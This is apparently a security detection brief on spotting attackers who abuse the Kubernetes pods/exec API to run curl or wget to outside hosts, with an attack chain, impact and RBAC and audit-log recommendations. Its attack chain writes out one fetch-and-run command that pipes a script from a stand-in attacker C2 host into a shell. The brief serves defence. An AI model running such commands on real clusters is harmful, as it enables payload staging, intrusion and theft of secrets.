Detecting Malicious Ingress Tool Transfer via Kubernetes Pod Exec
This brief covers the detection of attackers using Kubernetes 'exec' APIs to stage tools or exfiltrate data by invoking 'curl' or 'wget' to HTTPS endpoints from within container workloads.
Attackers with unauthorized or compromised access to Kubernetes environments frequently leverage the exec subresource of the Kubernetes API to interact with containerized workloads. By initiating an exec call, an attacker can execute arbitrary commands directly within the container namespace. A common post-exploitation pattern involves utilizing native binaries like curl or wget to fetch remote payloads, stage additional tooling, or exfiltrate sensitive data over HTTPS. This activity often bypasses standard network perimeter controls if the pod has egress connectivity to the internet. This detection brief focuses on monitoring Kubernetes API server audit logs to identify these specific command patterns, reconstructing the URL-encoded request URI to provide defenders with the exact command executed inside the pod, while filtering out benign cluster-internal traffic such as health checks and OIDC configuration lookups.
Attack Chain
- Attacker gains initial access to a Kubernetes principal (e.g., service account or user token) with
pods/execRBAC permissions. - Attacker enumerates target namespaces and pods using
kubectl get podsor similar discovery commands. - Attacker initiates a
pods/execrequest against a target pod via the Kubernetes API server. - The request URI, containing the command (e.g.,
curl https://attacker-c2.com/script.sh | sh), is transmitted to the API server. - The API server logs the exec request in the cluster audit log.
- The
curlorwgetutility executes inside the container, initiating an HTTPS connection to the external C2 or staging server. - The attacker stages secondary payloads, malicious scripts, or exfiltrates data from the pod environment.
Impact
Successful exploitation of pods/exec for ingress tool transfer can lead to full compromise of the container environment, lateral movement within the cluster, and exfiltration of sensitive pod-accessible data, such as environment variables, mounted secrets, or cloud metadata.
Recommendation
Detection engineers should focus on auditing and monitoring Kubernetes API server logs for anomalous execution patterns.
- Implement the provided detection logic to identify
execcalls involvingcurlorwgetto HTTPS URLs in your SIEM. - Review RBAC policies across the cluster to ensure the
pods/execpermission is restricted to authorized administrative or CI/CD identities. - Baseline common administrative access patterns to identify outliers in the
user.nameorsource.ipfields in audit logs. - Regularly audit pod filesystem contents and container images to ensure no unauthorized persistence mechanisms or dropped tools are present.
Immediate actions
Deploy audit log monitoring for kubectl exec activities
Mitigations
Review and restrict RBAC pods/exec permissions
T1609